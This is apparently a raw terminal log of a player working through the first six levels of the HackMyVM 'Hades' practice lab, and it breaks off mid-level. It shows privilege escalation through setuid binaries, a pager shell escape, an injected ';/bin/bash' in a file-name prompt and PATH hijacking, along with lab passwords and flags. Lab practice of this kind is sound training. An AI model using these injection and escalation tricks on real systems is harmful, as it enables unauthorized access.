1 hacker
Host: hades.hackmyvm.eu
Port: 6666
User: hacker
Pass: begood!
C:\Users\Administrator>ssh hacker@hades.hackmyvm.eu -p 6666
The authenticity of host '[hades.hackmyvm.eu]:6666 ([185.233.104.77]:6666)' can't be established.
ECDSA key fingerprint is SHA256:ogY5Idln+pWh6WlnoFaMXjT9106jRgnOot3hq7N/W0Q.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[hades.hackmyvm.eu]:6666,[185.233.104.77]:6666' (ECDSA) to the list of known hosts.
. **
* *.
,*
*,
, ,*
., *,
/ *
,* *,
/. .*.
_____
__ __ _____ ____________ _____\ \ _____
/ \ / \ / |_ \ \ / / | | _____\ \
/ /| |\ \ / \ \ \ / / /___/| / / \ |
/ // \ \ | /\ \ | /\ || |__ |___|/ | | /___/|
/ \_____/ \ | | | \ | | | || \ ____\ \ | ||
/ /\_____/\ \ | \/ \ | \/ || __/ __ / /\ \|___|/
/ //\_____/\ \ |\ /\ \ / /||\ \ / \ | |/ \ \
/____/ | | \____\| \_____\ \_____\ /___________/ || \____\/ ||\____\ /____/|
| | | | | || | | | || | / | | |____/|| | || | |
|____|/ \|____| \|_____|\|_____||___________|/ \|____| | | \|___||____|/
|___|/
** **.
,* **
*, ,*
* **
*, .*
*. **
** ,*,
** *,
[== HMVLabs Chapter 2: Hades ==]
+===========================+
| Respect & |
| Have fun! |
| |
| https://hackmyvm.eu/hades |
+===========================+
hacker@hades.hackmyvm.eu's password:
Linux hades 5.10.0-13-amd64 #1 SMP Debian 5.10.106-1 (2022-03-17) x86_64
. **
* *.
,*
*,
, ,*
., *,
/ *
,* *,
/. .*.
_____
__ __ _____ ____________ _____\ \ _____
/ \ / \ / |_ \ \ / / | | _____\ \
/ /| |\ \ / \ \ \ / / /___/| / / \ |
/ // \ \ | /\ \ | /\ || |__ |___|/ | | /___/|
/ \_____/ \ | | | \ | | | || \ ____\ \ | ||
/ /\_____/\ \ | \/ \ | \/ || __/ __ / /\ \|___|/
/ //\_____/\ \ |\ /\ \ / /||\ \ / \ | |/ \ \
/____/ | | \____\| \_____\ \_____\ /___________/ || \____\/ ||\____\ /____/|
| | | | | || | | | || | / | | |____/|| | || | |
|____|/ \|____| \|_____|\|_____||___________|/ \|____| | | \|___||____|/
|___|/
** **.
,* **
*, ,*
* **
*, .*
*. **
** ,*,
** *,
[== HMVLabs Chapter 2: Hades ==]
+===========================+
| Respect & |
| Have fun! |
| |
| https://hackmyvm.eu/hades |
+===========================+
Last login: Mon Jul 1 09:28:47 2024 from 223.102.189.154
hacker@hades:~$ ls -la
total 32
drwxr-x--- 2 root hacker 4096 Apr 5 06:36 .
drwxr-xr-x 1 root root 4096 Apr 5 06:36 ..
-rw-r--r-- 1 hacker hacker 220 Apr 23 2023 .bash_logout
-rw-r--r-- 1 hacker hacker 3526 Apr 23 2023 .bashrc
-rw-r--r-- 1 hacker hacker 807 Apr 23 2023 .profile
-rw-r----- 1 root hacker 194 Apr 5 06:36 mission.txt
-rw-r----- 1 root hacker 2625 Apr 5 06:36 readme.txt
hacker@hades:~$ cat mission.txt
################
# MISSION 0x01 #
################
## EN ##
User acantha has left us a gift to obtain her powers.
## ES ##
La usuaria acantha nos ha dejado un regalo para obtener sus poderes.
hacker@hades:~$ cat readme.txt
# EN
Hi hax0r,
Welcome to HMVLab Chapter 2: Hades!
This is a slightly more advanced CTF than Chapter 1 where you will continue to practice your Linux and CTF skills
so let's keep messing around! :)
Remember that the home of each user is in /pwned/USER and in it you will find a file called mission.txt which will contain
the mission to complete to get the password of the next user.
It will also contain the file flagz.txt, which if you are registered at https://hackmyvm.eu you can enter to participate in the ranking (optional).
And to continue the improvisation, there are more secret levels and hidden flags: D
You will not have write permissions in most folders so if you need to write a script or something
use the /tmp folder, keep in mind that it is frequently deleted ...
And last (and not least) some users can modify the files that are in the
folder /www, these files are accessible from http://hades.hackmyvm.eu so if you get a user
that can modify the file /www/limbo.txt, you can put a message and it will be reflected in http://hades.hackmyvm.eu/limbo.txt.
If you have questions/ideas or want to comment anything you can join
to our Discord: https://discord.gg/DxDFQrJ
Remember that there are more people playing so be respectful.
Hack & Fun!
# ES
Hola hax0r,
Bienvenid@ al HMVLab Chapter 2: Hades!
Este es un CTF algo mas avanzado que el Chapter 1 donde continuaras practicando tus habilidades de Linux y CTF
asi que vamos a seguir trasteado! :)
Recuerda que, el home de cada usuario se encuentra en /pwned/USUARIO y en el encontraras un fichero llamado mission.txt el cual contendra
la mision a completar para conseguir la password del siguiente usuario.
Tambien contendra el fichero flagz.txt, que si estas registrado en https://hackmyvm.eu podras introducir para participar en el ranking (opcional).
Y para que continue la improvisacion, hay mas niveles secretos y flags escondidas :D
No tendras permisos de escritura en la mayoria de carpetas asi que si necesitas escribir algun script o algo
usa la carpeta /tmp, ten en cuenta que es eliminada de manera frecuente...
Y por ultimo (y no menos importante) algunos usuarios pueden modificar los ficheros que estan en la
carpeta /www, estos ficheros son accesibles desde http://hades.hackmyvm.eu asi que si consigues un usuario
que pueda modificar el fichero /www/limbo.txt, podras poner un mensaje y se verá reflejado en http://hades.hackmyvm.eu/limbo.txt.
Si tienes dudas/ideas o quieres comentar cualquier cosa puedes unirte
a nuestro Discord: https://discord.gg/DxDFQrJ
Recuerda que hay mas gente jugando asi que se respetuoso.
Hack & Fun!
hacker@hades:~$ find / -name "*gift*" -type f 2>/dev/null
/usr/share/man/man1/giftopnm.1.gz
/usr/bin/giftopnm
/opt/gift_hacker
hacker@hades:~$ file /opt/gift_hacker
-bash: file: command not found
hacker@hades:~$ strings /opt/gift_hacker
/lib64/ld-linux-x86-64.so.2
setgid
setuid
system
__libc_start_main
__cxa_finalize
libc.so.6
GLIBC_2.2.5
GLIBC_2.34
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
PTE1
u+UH
^uTkpiKdH
klxweBgsH
sprxyK^
/bin/bash
;*3$"
GCC: (Debian 12.2.0-14) 12.2.0
Scrt1.o
__abi_tag
crtstuff.c
deregister_tm_clones
__do_global_dtors_aux
completed.0
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
gift_hacker.c
__FRAME_END__
_DYNAMIC
__GNU_EH_FRAME_HDR
_GLOBAL_OFFSET_TABLE_
__libc_start_main@GLIBC_2.34
_ITM_deregisterTMCloneTable
_edata
_fini
system@GLIBC_2.2.5
__data_start
__gmon_start__
__dso_handle
_IO_stdin_used
_end
__bss_start
main
setgid@GLIBC_2.2.5
__TMC_END__
_ITM_registerTMCloneTable
setuid@GLIBC_2.2.5
__cxa_finalize@GLIBC_2.2.5
_init
.symtab
.strtab
.shstrtab
.interp
.note.gnu.property
.note.gnu.build-id
.note.ABI-tag
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rela.dyn
.rela.plt
.init
.plt.got
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.dynamic
.got.plt
.data
.bss
.comment
hacker@hades:~$ cd /opt
hacker@hades:/opt$ ls -la
total 28
drwxr-xr-x 1 root root 4096 Apr 5 06:36 .
drwxr-xr-x 1 root root 4096 May 24 18:23 ..
-rwSr-s--- 1 root hacker 16064 Apr 5 06:36 gift_hacker
-r--r----- 1 ianthe ianthe 21 Apr 5 06:36 ianthe_pass.txt
hacker@hades:/opt$ cat ianthe_pass.txt
cat: ianthe_pass.txt: Permission denied
hacker@hades:/opt$ ./gift_hacker
acantha@hades:/opt$2 acantha
acantha@hades:/opt$ cd ~
acantha@hades:~$ ls -la
total 32
drwxr-x--- 2 root hacker 4096 Apr 5 06:36 .
drwxr-xr-x 1 root root 4096 Apr 5 06:36 ..
-rw-r--r-- 1 hacker hacker 220 Apr 23 2023 .bash_logout
-rw-r--r-- 1 hacker hacker 3526 Apr 23 2023 .bashrc
-rw-r--r-- 1 hacker hacker 807 Apr 23 2023 .profile
-rw-r----- 1 root hacker 194 Apr 5 06:36 mission.txt
-rw-r----- 1 root hacker 2625 Apr 5 06:36 readme.txt
acantha@hades:~$ cat mission.txt
################
# MISSION 0x01 #
################
## EN ##
User acantha has left us a gift to obtain her powers.
## ES ##
La usuaria acantha nos ha dejado un regalo para obtener sus poderes.
acantha@hades:~$ cat readme.txt
# EN
Hi hax0r,
Welcome to HMVLab Chapter 2: Hades!
This is a slightly more advanced CTF than Chapter 1 where you will continue to practice your Linux and CTF skills
so let's keep messing around! :)
Remember that the home of each user is in /pwned/USER and in it you will find a file called mission.txt which will contain
the mission to complete to get the password of the next user.
It will also contain the file flagz.txt, which if you are registered at https://hackmyvm.eu you can enter to participate in the ranking (optional).
And to continue the improvisation, there are more secret levels and hidden flags: D
You will not have write permissions in most folders so if you need to write a script or something
use the /tmp folder, keep in mind that it is frequently deleted ...
And last (and not least) some users can modify the files that are in the
folder /www, these files are accessible from http://hades.hackmyvm.eu so if you get a user
that can modify the file /www/limbo.txt, you can put a message and it will be reflected in http://hades.hackmyvm.eu/limbo.txt.
If you have questions/ideas or want to comment anything you can join
to our Discord: https://discord.gg/DxDFQrJ
Remember that there are more people playing so be respectful.
Hack & Fun!
# ES
Hola hax0r,
Bienvenid@ al HMVLab Chapter 2: Hades!
Este es un CTF algo mas avanzado que el Chapter 1 donde continuaras practicando tus habilidades de Linux y CTF
asi que vamos a seguir trasteado! :)
Recuerda que, el home de cada usuario se encuentra en /pwned/USUARIO y en el encontraras un fichero llamado mission.txt el cual contendra
la mision a completar para conseguir la password del siguiente usuario.
Tambien contendra el fichero flagz.txt, que si estas registrado en https://hackmyvm.eu podras introducir para participar en el ranking (opcional).
Y para que continue la improvisacion, hay mas niveles secretos y flags escondidas :D
No tendras permisos de escritura en la mayoria de carpetas asi que si necesitas escribir algun script o algo
usa la carpeta /tmp, ten en cuenta que es eliminada de manera frecuente...
Y por ultimo (y no menos importante) algunos usuarios pueden modificar los ficheros que estan en la
carpeta /www, estos ficheros son accesibles desde http://hades.hackmyvm.eu asi que si consigues un usuario
que pueda modificar el fichero /www/limbo.txt, podras poner un mensaje y se verá reflejado en http://hades.hackmyvm.eu/limbo.txt.
Si tienes dudas/ideas o quieres comentar cualquier cosa puedes unirte
a nuestro Discord: https://discord.gg/DxDFQrJ
Recuerda que hay mas gente jugando asi que se respetuoso.
Hack & Fun!
acantha@hades:~$ whoami;id
acantha
uid=2043(acantha) gid=2001(hacker) groups=2001(hacker)
acantha@hades:~$ find / -user acantha -type f 2>/dev/null
/proc/3819214/task/3819214/fdinfo/0
/proc/3819214/task/3819214/fdinfo/1
/proc/3819214/task/3819214/fdinfo/2
........
/proc/3819230/timerslack_ns
/proc/3819230/patch_state
/proc/3819230/arch_status
/pazz/acantha_pass.txt
acantha@hades:~$ cat /pazz/acantha_pass.txt
mYYLhLBSkrzZqFydxGkn
acantha@hades:~$ su -l acantha
bash: /usr/bin/su: Permission denied
acantha@hades:~$ ssh acantha@0.0.0.0
hostkeys_find_by_key_hostfile: hostkeys_foreach failed for /pwned/acantha/.ssh/known_hosts: Permission denied
The authenticity of host '0.0.0.0 (0.0.0.0)' can't be established.
ED25519 key fingerprint is SHA256:5QshhvvnibVTWOxgK9XbUejVSLahU6clfnK1Iku0wsg.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Could not stat /pwned/acantha/.ssh: Permission denied
Failed to add the host to the list of known hosts (/pwned/acantha/.ssh/known_hosts).
. **
* *.
,*
*,
, ,*
., *,
/ *
,* *,
/. .*.
_____
__ __ _____ ____________ _____\ \ _____
/ \ / \ / |_ \ \ / / | | _____\ \
/ /| |\ \ / \ \ \ / / /___/| / / \ |
/ // \ \ | /\ \ | /\ || |__ |___|/ | | /___/|
/ \_____/ \ | | | \ | | | || \ ____\ \ | ||
/ /\_____/\ \ | \/ \ | \/ || __/ __ / /\ \|___|/
/ //\_____/\ \ |\ /\ \ / /||\ \ / \ | |/ \ \
/____/ | | \____\| \_____\ \_____\ /___________/ || \____\/ ||\____\ /____/|
| | | | | || | | | || | / | | |____/|| | || | |
|____|/ \|____| \|_____|\|_____||___________|/ \|____| | | \|___||____|/
|___|/
** **.
,* **
*, ,*
* **
*, .*
*. **
** ,*,
** *,
[== HMVLabs Chapter 2: Hades ==]
+===========================+
| Respect & |
| Have fun! |
| |
| https://hackmyvm.eu/hades |
+===========================+
acantha@0.0.0.0's password:
client_input_hostkeys: hostkeys_foreach failed for /pwned/acantha/.ssh/known_hosts: Permission denied
Linux hades 5.10.0-13-amd64 #1 SMP Debian 5.10.106-1 (2022-03-17) x86_64
. **
* *.
,*
*,
, ,*
., *,
/ *
,* *,
/. .*.
_____
__ __ _____ ____________ _____\ \ _____
/ \ / \ / |_ \ \ / / | | _____\ \
/ /| |\ \ / \ \ \ / / /___/| / / \ |
/ // \ \ | /\ \ | /\ || |__ |___|/ | | /___/|
/ \_____/ \ | | | \ | | | || \ ____\ \ | ||
/ /\_____/\ \ | \/ \ | \/ || __/ __ / /\ \|___|/
/ //\_____/\ \ |\ /\ \ / /||\ \ / \ | |/ \ \
/____/ | | \____\| \_____\ \_____\ /___________/ || \____\/ ||\____\ /____/|
| | | | | || | | | || | / | | |____/|| | || | |
|____|/ \|____| \|_____|\|_____||___________|/ \|____| | | \|___||____|/
|___|/
** **.
,* **
*, ,*
* **
*, .*
*. **
** ,*,
** *,
[== HMVLabs Chapter 2: Hades ==]
+===========================+
| Respect & |
| Have fun! |
| |
| https://hackmyvm.eu/hades |
+===========================+
Last login: Sun Jun 30 11:48:52 2024 from 223.102.189.154
acantha@hades:~$ whoami;id
acantha
uid=2043(acantha) gid=2043(acantha) groups=2043(acantha)
acantha@hades:~$ ls -la
total 48
drwxr-x--- 2 root acantha 4096 Apr 5 06:36 .
drwxr-xr-x 1 root root 4096 Apr 5 06:36 ..
-rw-r--r-- 1 acantha acantha 220 Apr 23 2023 .bash_logout
-rw-r--r-- 1 acantha acantha 3526 Apr 23 2023 .bashrc
-rw-r--r-- 1 acantha acantha 807 Apr 23 2023 .profile
-rw-r----- 1 root acantha 22 Apr 5 06:36 flagz.txt
-rw-r-x--- 1 root acantha 16064 Apr 5 06:36 guess
-rw-r----- 1 root acantha 275 Apr 5 06:36 mission.txt
acantha@hades:~$ cat flagz.txt
^CaEuVJtJjaCwZtuuAFD^
acantha@hades:~$ cat mission.txt
################
# MISSION 0x02 #
################
## EN ##
The user alala has left us a program, if we insert the 6 correct numbers, she gives us her password!
## ES ##
La usuaria alala nos ha dejado un programa, si insertamos los 6 numeros correctos, nos da su password!
acantha@hades:~$ grep -ra '\^*\^' .
./flagz.txt:^CaEuVJtJjaCwZtuuAFD^
acantha@hades:~$ strings guess
/lib64/ld-linux-x86-64.so.2
puts
__libc_start_main
__cxa_finalize
printf
__isoc99_scanf
libc.so.6
GLIBC_2.7
GLIBC_2.2.5
GLIBC_2.34
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
PTE1
u+UH
Enter PIN code:
DsYzpJQrCEndEWIMxWxu
NO :_(
;*3$"
GCC: (Debian 12.2.0-14) 12.2.0
Scrt1.o
__abi_tag
crtstuff.c
deregister_tm_clones
__do_global_dtors_aux
completed.0
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
guess.c
__FRAME_END__
_DYNAMIC
__GNU_EH_FRAME_HDR
_GLOBAL_OFFSET_TABLE_
__libc_start_main@GLIBC_2.34
_ITM_deregisterTMCloneTable
puts@GLIBC_2.2.5
_edata
_fini
printf@GLIBC_2.2.5
__data_start
__gmon_start__
__dso_handle
_IO_stdin_used
_end
__bss_start
main
__isoc99_scanf@GLIBC_2.7
__TMC_END__
_ITM_registerTMCloneTable
__cxa_finalize@GLIBC_2.2.5
_init
.symtab
.strtab
.shstrtab
.interp
.note.gnu.property
.note.gnu.build-id
.note.ABI-tag
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rela.dyn
.rela.plt
.init
.plt.got
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.dynamic
.got.plt
.data
.bss
.comment3 alala
acantha@hades:~$ su alala -l
-bash: /usr/bin/su: Permission denied
acantha@hades:~$ ssh alala@0.0.0.0
The authenticity of host '0.0.0.0 (0.0.0.0)' can't be established.
ED25519 key fingerprint is SHA256:5QshhvvnibVTWOxgK9XbUejVSLahU6clfnK1Iku0wsg.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Could not create directory '/pwned/acantha/.ssh' (Permission denied).
Failed to add the host to the list of known hosts (/pwned/acantha/.ssh/known_hosts).
alala@hades:~$ whoami;id
alala
uid=2044(alala) gid=2044(alala) groups=2044(alala)
alala@hades:~$ ls -la
total 52
drwxr-x--- 2 root alala 4096 Apr 5 06:36 .
drwxr-xr-x 1 root root 4096 Apr 5 06:36 ..
-rw-r--r-- 1 alala alala 220 Apr 23 2023 .bash_logout
-rw-r--r-- 1 alala alala 3526 Apr 23 2023 .bashrc
-rw-r--r-- 1 alala alala 807 Apr 23 2023 .profile
-r--r----- 1 althea althea 21 Apr 5 06:36 althea_pass.txt
-rw-r----- 1 root alala 22 Apr 5 06:36 flagz.txt
-rw-r----- 1 root alala 164 Apr 5 06:36 mission.txt
-rwS--s--- 1 root alala 16056 Apr 5 06:36 read
alala@hades:~$ grep -ra "\^*\^" .
grep: ./read: Permission denied
./flagz.txt:^gTdGmkwhDrCqKrDQpxH^
grep: ./althea_pass.txt: Permission denied
alala@hades:~$ cat mission.txt
################
# MISSION 0x03 #
################
## EN ##
User althea loves reading Linux help.
## ES ##
A la usuaria althea le encanta leer la ayuda de Linux.
alala@hades:~$ ./read
alala@hades:~$ ls
althea_pass.txt flagz.txt mission.txt read
alala@hades:~$ ./read althea_pass.txt
alala@hades:~$ ./read
althea !whoami
!done (press RETURN)
ObxEmwisYjERrDfvSbdA !cat althea_pass.txt
!done (press RETURN)4 althea
althea@hades:~$ ls -la
total 52
drwxr-x--- 2 root althea 4096 Apr 5 06:36 .
drwxr-xr-x 1 root root 4096 Apr 5 06:36 ..
-rw-r--r-- 1 althea althea 220 Apr 23 2023 .bash_logout
-rw-r--r-- 1 althea althea 3526 Apr 23 2023 .bashrc
-rw-r--r-- 1 althea althea 807 Apr 23 2023 .profile
-r--r----- 1 andromeda andromeda 21 Apr 5 06:36 andromeda_pass.txt
-rw-r----- 1 root althea 22 Apr 5 06:36 flagz.txt
-rwS--s--- 1 root althea 16216 Apr 5 06:36 lsme
-rw-r----- 1 root althea 205 Apr 5 06:36 mission.txt
althea@hades:~$ cat flagz.txt
^btDtPAPzSiXmoHItpqX^
althea@hades:~$ cat mission.txt
################
# MISSION 0x04 #
################
## EN ##
The user andromeda has left us a program to list directories.
## ES ##
La usuaria andromeda nos ha dejado un programa para listar directorios.
althea@hades:~$ grep -ra "\^*\^" .
./flagz.txt:^btDtPAPzSiXmoHItpqX^
grep: ./lsme: Permission denied
grep: ./andromeda_pass.txt: Permission denied
althea@hades:~$ lsme
-bash: lsme: command not found
althea@hades:~$ ./lsme
Enter file to check:
andromeda_pass.txt
-r--r----- 1 andromeda andromeda 21 Apr 5 06:36 andromeda_pass.txt
Segmentation fault
althea@hades:~$ ls -la
total 52
drwxr-x--- 2 root althea 4096 Apr 5 06:36 .
drwxr-xr-x 1 root root 4096 Apr 5 06:36 ..
-rw-r--r-- 1 althea althea 220 Apr 23 2023 .bash_logout
-rw-r--r-- 1 althea althea 3526 Apr 23 2023 .bashrc
-rw-r--r-- 1 althea althea 807 Apr 23 2023 .profile
-r--r----- 1 andromeda andromeda 21 Apr 5 06:36 andromeda_pass.txt
-rw-r----- 1 root althea 22 Apr 5 06:36 flagz.txt
-rwS--s--- 1 root althea 16216 Apr 5 06:36 lsme
-rw-r----- 1 root althea 205 Apr 5 06:36 mission.txt
althea@hades:~$ ./lsme
Enter file to check:
andromeda_pass.txt
-r--r----- 1 andromeda andromeda 21 Apr 5 06:36 andromeda_pass.txt
Segmentation fault
althea@hades:~$ ./lsme
Enter file to check:
andromeda_pass.txt;whoami
-r--r----- 1 andromeda andromeda 21 Apr 5 06:36 andromeda_pass.txt
andromeda
Segmentation fault
althea@hades:~$ ./lsme
Enter file to check:
andromeda_pass.txt;/bin/bash
-r--r----- 1 andromeda andromeda 21 Apr 5 06:36 andromeda_pass.txt
andromeda@hades:~$ whoami;id
andromeda
uid=2046(andromeda) gid=2045(althea) groups=2045(althea)5 andromeda
andromeda@hades:~$ ls -la
total 52
drwxr-x--- 2 root althea 4096 Apr 5 06:36 .
drwxr-xr-x 1 root root 4096 Apr 5 06:36 ..
-rw-r--r-- 1 althea althea 220 Apr 23 2023 .bash_logout
-rw-r--r-- 1 althea althea 3526 Apr 23 2023 .bashrc
-rw-r--r-- 1 althea althea 807 Apr 23 2023 .profile
-r--r----- 1 andromeda andromeda 21 Apr 5 06:36 andromeda_pass.txt
-rw-r----- 1 root althea 22 Apr 5 06:36 flagz.txt
-rwS--s--- 1 root althea 16216 Apr 5 06:36 lsme
-rw-r----- 1 root althea 205 Apr 5 06:36 mission.txt
andromeda@hades:~$ cat andromeda_pass.txt
OTWGTbHzrxhYFSTlKcOt
andromeda@hades:~$ grep -ra '\^*\^' .
./flagz.txt:^btDtPAPzSiXmoHItpqX^
grep: ./lsme: Permission denied
andromeda@hades:~$ pwd
/pwned/althea
andromeda@hades:~$ cd ~
andromeda@hades:~$ pwd
/pwned/althea
andromeda@hades:~$ ssh andromeda@0.0.0.0
hostkeys_find_by_key_hostfile: hostkeys_foreach failed for /pwned/andromeda/.ssh/known_hosts: Permission denied
The authenticity of host '0.0.0.0 (0.0.0.0)' can't be established.
ED25519 key fingerprint is SHA256:5QshhvvnibVTWOxgK9XbUejVSLahU6clfnK1Iku0wsg.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Could not stat /pwned/andromeda/.ssh: Permission denied
Failed to add the host to the list of known hosts (/pwned/andromeda/.ssh/known_hosts).
. **
* *.
,*
*,
, ,*
., *,
/ *
,* *,
/. .*.
_____
__ __ _____ ____________ _____\ \ _____
/ \ / \ / |_ \ \ / / | | _____\ \
/ /| |\ \ / \ \ \ / / /___/| / / \ |
/ // \ \ | /\ \ | /\ || |__ |___|/ | | /___/|
/ \_____/ \ | | | \ | | | || \ ____\ \ | ||
/ /\_____/\ \ | \/ \ | \/ || __/ __ / /\ \|___|/
/ //\_____/\ \ |\ /\ \ / /||\ \ / \ | |/ \ \
/____/ | | \____\| \_____\ \_____\ /___________/ || \____\/ ||\____\ /____/|
| | | | | || | | | || | / | | |____/|| | || | |
|____|/ \|____| \|_____|\|_____||___________|/ \|____| | | \|___||____|/
|___|/
** **.
,* **
*, ,*
* **
*, .*
*. **
** ,*,
** *,
[== HMVLabs Chapter 2: Hades ==]
+===========================+
| Respect & |
| Have fun! |
| |
| https://hackmyvm.eu/hades |
+===========================+
andromeda@0.0.0.0's password:
client_input_hostkeys: hostkeys_foreach failed for /pwned/andromeda/.ssh/known_hosts: Permission denied
Linux hades 5.10.0-13-amd64 #1 SMP Debian 5.10.106-1 (2022-03-17) x86_64
. **
* *.
,*
*,
, ,*
., *,
/ *
,* *,
/. .*.
_____
__ __ _____ ____________ _____\ \ _____
/ \ / \ / |_ \ \ / / | | _____\ \
/ /| |\ \ / \ \ \ / / /___/| / / \ |
/ // \ \ | /\ \ | /\ || |__ |___|/ | | /___/|
/ \_____/ \ | | | \ | | | || \ ____\ \ | ||
/ /\_____/\ \ | \/ \ | \/ || __/ __ / /\ \|___|/
/ //\_____/\ \ |\ /\ \ / /||\ \ / \ | |/ \ \
/____/ | | \____\| \_____\ \_____\ /___________/ || \____\/ ||\____\ /____/|
| | | | | || | | | || | / | | |____/|| | || | |
|____|/ \|____| \|_____|\|_____||___________|/ \|____| | | \|___||____|/
|___|/
** **.
,* **
*, ,*
* **
*, .*
*. **
** ,*,
** *,
[== HMVLabs Chapter 2: Hades ==]
+===========================+
| Respect & |
| Have fun! |
| |
| https://hackmyvm.eu/hades |
+===========================+
Last login: Sat Jun 29 17:06:41 2024 from 193.233.133.212
andromeda@hades:~$ pwd
/pwned/andromeda
andromeda@hades:~$ ls -la
total 52
drwxr-x--- 2 root andromeda 4096 Apr 5 06:36 .
drwxr-xr-x 1 root root 4096 Apr 5 06:36 ..
-rw-r--r-- 1 andromeda andromeda 220 Apr 23 2023 .bash_logout
-rw-r--r-- 1 andromeda andromeda 3526 Apr 23 2023 .bashrc
-rw-r--r-- 1 andromeda andromeda 807 Apr 23 2023 .profile
-r--r----- 1 anthea anthea 21 Apr 5 06:36 anthea_pass.txt
-rw-r----- 1 root andromeda 22 Apr 5 06:36 flagz.txt
-rw-r----- 1 root andromeda 166 Apr 5 06:36 mission.txt
-rwS--s--- 1 root andromeda 16056 Apr 5 06:36 uid
andromeda@hades:~$ grep -ra '\^*\^' .
grep: ./anthea_pass.txt: Permission denied
./flagz.txt:^xzsHGrOeNctIZLGKzWq^
grep: ./uid: Permission denied
andromeda@hades:~$ cat mission.txt
################
# MISSION 0x05 #
################
## EN ##
The user anthea reminds us who we are.
## ES ##
La usuaria anthea procura que no olvidemos quien somos.
andromeda@hades:~$ ./uid
uid=2047(anthea) gid=2046(andromeda) groups=2046(andromeda)
andromeda@hades:~$ ./uid
uid=2047(anthea) gid=2046(andromeda) groups=2046(andromeda)
andromeda@hades:~$ cat anthea_pass.txt
cat: anthea_pass.txt: Permission denied
andromeda@hades:~$ id
uid=2046(andromeda) gid=2046(andromeda) groups=2046(andromeda)猜测先修改了uid，然后运行了id，最后再改回来了，尝试劫持环境变量：
andromeda@hades:~$ echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
andromeda@hades:~$ ln -s /bin/bash /tmp/id
ln: failed to create symbolic link '/tmp/id': File exists
andromeda@hades:~$ rm /tmp/id
andromeda@hades:~$ ln -s /bin/bash /tmp/id
andromeda@hades:~$ PATH=/tmp:$PATH
andromeda@hades:~$ echo $PATH
/tmp:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
andromeda@hades:~$ id
andromeda@hades:~$ ./uid
anthea@hades:~$ rm /tmp/id
anthea@hades:~$ PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games;echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
anthea@hades:~$ cat anthea_pass.txt
yWFLtSNQArEBTHtWgkKd6 anthea
anthea@hades:~$ ls -la
total 52
drwxr-x--- 2 root anthea 4096 Apr 5 06:36 .
drwxr-xr-x 1 root root 4096 Apr 5 06:36 ..
-rw-r--r-- 1 anthea anthea 220 Apr 23 2023 .bash_logout
-rw-r--r-- 1 anthea anthea 3526 Apr 23 2023 .bashrc
-rw-r--r-- 1 anthea anthea 807 Apr 23 2023 .profile
-r--r----- 1 aphrodite aphrodite 21 Apr 5 06:36 aphrodite_pass.txt
-rw-r----- 1 root anthea 22 Apr 5 06:36 flagz.txt
-rw-r----- 1 root anthea 175 Apr 5 06:36 mission.txt
-rwS--s--- 1 root anthea 16256 Apr 5 06:36 obsessed
anthea@hades:~$ grep -ra '\^*\^' .
grep: ./obsessed: Permission denied
grep: ./aphrodite_pass.txt: Permission denied
./flagz.txt:^AcFLuAjhydNKIkPoFLL^
anthea@hades:~$ cat mission.txt
################
# MISSION 0x06 #
################
## EN ##
User aphrodite is obsessed with the number 94.
## ES ##
La usuaria aphrodite esta obsesionada con el numero 94.
anthea@hades:~$ ./obsessed
No MYID ENV
anthea@hades:~$ env
SHELL=/bin/bash
PWD=/pwned/anthea
LOGNAME=anthea
MOTD_SHOWN=pam
HOME=/pwned/anthea
LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=00:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.
tgz=01;31:*.arc=01;31:*.arj=01;31:*.taz=01;31:*.lha=01;31:*.lz4=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.tzo=01;31:*.t7z=01;31:*.zip=01;31:*.z=01;31:*.dz=01;31:*.gz=0
1;31:*.lrz=01;31:*.lz=01;31:*.lzo=01;31:*.xz=01;31:*.zst=01;31:*.tzst=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31
:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.alz=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.cab=01;31:*.wim=01;31:*.swm=01;31:*.dwm=01;31:*.esd=01;31:*.avif=01;35:*
.jpg=01;35:*.jpeg=01;35:*.mjpg=01;35:*.mjpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;3
5:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.webp=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=0
1;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:
